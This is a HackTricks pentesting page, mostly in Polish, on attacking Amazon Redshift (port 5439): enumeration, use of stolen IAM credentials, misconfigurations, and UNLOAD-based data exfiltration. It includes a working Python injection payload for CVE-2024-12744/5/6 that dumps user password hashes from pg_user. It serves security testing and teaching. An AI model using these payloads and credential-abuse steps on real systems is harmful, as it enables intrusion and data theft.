5439 - Pentesting Redshift
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Ten port jest używany przez Amazon Redshift (zarządzana przez AWS hurtownia danych). Protokół Redshift to lekko zmodyfikowany protokół PostgreSQL, więc większość narzędzi klienckich Postgres działa (psql, psycopg2, JDBC/ODBC), ale uwierzytelnianie i wymagania dotyczące TLS różnią się.
For more information check:
AWS - Redshift Enum - HackTricks Cloud
Enumeracja i łączność
- Default port: 5439/TCP (customizable). Serverless workgroups also default to 5439.
- Wzorzec publicznego endpointu:
<clusterid>.<random>.<region>.redshift.amazonaws.com(publiczny) lub.redshift.amazonaws.com.cn(Chiny). Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com. - TLS: Redshift wymaga TLS 1.2+ i cipherów z perfect-forward-secrecy. Starsze klienty mogą nie działać; wymuś użycie nowoczesnego TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
- Parameter group
require_sslkontroluje, czy połączenia w plaintext są dozwolone. Nowe klastry/workgroups używajądefault.redshift-2.0zrequire_ssl=true, więc downgrade/mitm jest trudniejszy.
Szybka enumeracja z psql
# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;
Błędy rozróżniają nieprawidłowe hasło od brakującego użytkownika → potencjalne username enumeration podczas brute force.
Authentication paths to test
- Hasło do bazy danych dla master user (często nazwany
awsuser) lub utworzonych użytkowników DB. - IAM auth tokens: wygeneruj krótkotrwałe poświadczenia i połącz się przez libpq/JDBC/ODBC używając
sslmode=requireiauthMech=IAMlubplugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider. Wykorzystaj skradzione IAM creds/roles z uprawnieniem analogicznym dords-db:connectdla Redshift.
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
- IAM Identity Center / SAML / Azure AD plugins: JDBC
plugin_namemoże uruchomić lokalny serwer WWW dla SSO; przechwycony loopback callback może leak SAML assertion lub temp creds.
Common misconfigurations (network)
- Klaster oznaczony PubliclyAccessible=true z bardzo otwartym SG (0.0.0.0/0) wystawia powierzchnię podobną do Postgres dla brute force lub SQLi.
- Default port 5439 wraz z domyślnym SG umożliwia łatwe odkrycie (Shodan/Censys). Zmiana portu to drobne zaciemnienie, ale czasem pomijane w listach kontrolnych zabezpieczeń.
- No enhanced VPC routing → COPY/UNLOAD idą przez publiczny Internet; mogą być nadużyte do exfil, gdy atakujący kontroluje S3 bucket/endpoint.
Attack notes
- Jeśli logowanie powiedzie się, Redshift nie ma superusera w serverless; w provisioned clusters master user ma szerokie uprawnienia, w tym tworzenie UDFs (Python), external schema do Spectrum, COPY z attacker S3 oraz
UNLOADdo exfil danych. - Sprawdź cluster parameter group pod kątem
max_concurrency_scaling_clusters,require_ssl,enable_user_activity_logging– wyłączone logowanie ułatwia działanie w ukryciu. - Serverless workgroups nadal osiągalne przez TCP; ta sama powierzchnia ataku SQL co provisioned clusters.
- Client-side metadata SQLi (Dec 2024): JDBC 2.1.0.31, Python connector 2.1.4 i ODBC 2.1.5.0 budują zapytania metadata z niezacytowanym wejściem użytkownika w
getSchemas/getTables/getColumns(CVE-2024-12744/5/6). Jeśli aplikacja pozwala atakującemu kontrolować argumenty katalogu lub wzorca, możesz wstrzyknąć dowolne SQL, które wykona się z uprawnieniami DB usera używanego przez connector.
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
- UDF execution model change: Python UDFs przestaną działać 30 czerwca 2026; po tym dozwolone będą tylko Lambda UDFs. Wpływ ofensywny: legacy provisioned clusters wciąż uruchamiają Python UDFs dając możliwość in-cluster code exec (bez FS/network). Lambda UDFs przenoszą kod do Lambda, gdzie IAM role mogą osiągnąć Internet/VPC endpoints dla SSRF/pivot, ale bez bezpośredniego dostępu do filesystem klastra. Poszukiwanie starych klastrów z włączonymi Python UDFs nadal może dać RCE primitives.
Recent security changes (offense impact)
- Public access disabled by default on new clusters/snapshots (Jan 10, 2025 change). Legacy ones may still be public.
- Encryption at rest + enforced TLS by default oznacza, że sniffing/mitm jest trudniejszy; potrzebne są ważne poświadczenia lub SSRF do ścieżki VPC.
- Serverless VPCE rollout change (Jun 27, 2025): workgroup endpoints tworzone w maksymalnie 3 AZ podczas tworzenia. Narzędzia do discovery powinny wyenumerować wszystkie nazwy DNS workgroup VPCE w każdej AZ, aby znaleźć osiągalne IP.
References
- AWS Security Bulletin – SQLi in Redshift JDBC/Python/ODBC drivers (CVE-2024-12744/5/6)
- AWS Big Data Blog – Python UDF end-of-support and migration to Lambda UDFs (Jan 2026)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


